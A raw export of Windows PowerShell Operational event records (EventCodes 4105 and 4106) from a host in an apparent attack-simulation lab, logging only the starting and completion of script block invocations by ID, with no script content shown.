Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028031
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028025
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028003
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028001
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028000
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
